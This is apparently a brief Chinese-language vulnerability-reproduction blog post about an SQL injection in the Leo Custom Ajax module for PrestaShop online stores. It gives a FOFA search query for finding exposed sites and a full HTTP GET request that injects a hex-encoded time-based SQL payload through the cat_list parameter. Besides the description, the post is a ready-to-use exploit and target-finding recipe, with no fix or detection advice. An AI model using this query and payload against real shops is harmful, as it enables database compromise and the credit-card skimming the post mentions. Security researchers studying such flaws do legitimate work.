Babing
Published on 2024-08-30 / 2 Visits
0
0

P4-1PrestaShop-网上购物系统-SQL

P4-1PrestaShop-网上购物系统-SQL

漏洞描述:

在 PrestaShop 的部分主题中使用Leo Custom Ajax拓展,Leo Custom Ajax模块中可以在/modules/leocustomajax/leoajax.php中使用多个 GET 参数(cat_list、pro_info、pro_add、pro_cdown、pro_color)来操作HTTP请求,使远程攻击者能够执行 SQL 注入。
警告:即使该模块被禁用或卸载,此漏洞也可能被利用,并被积极用于部署 webskimmer 来大规模窃取信用卡。

影响版本:


PrestaShop 的 Leo Custom Ajax (leocustomajax) 模块

网站图片:

image-20240619150901555

网络测绘:

fofa语法:


Fofa:“modules/leocustomajax”

漏洞复现:

构造URL参数

payload:

GET /modules/leocustomajax/leoajax.php?cat_list=10%29;select+0x73656c65637420736c6565702833293b+into+@a;prepare+b+from+@a;execute+b;--%20KZeU HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 4.0; Trident/4.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

效果图:
image-20240619151112407


Comment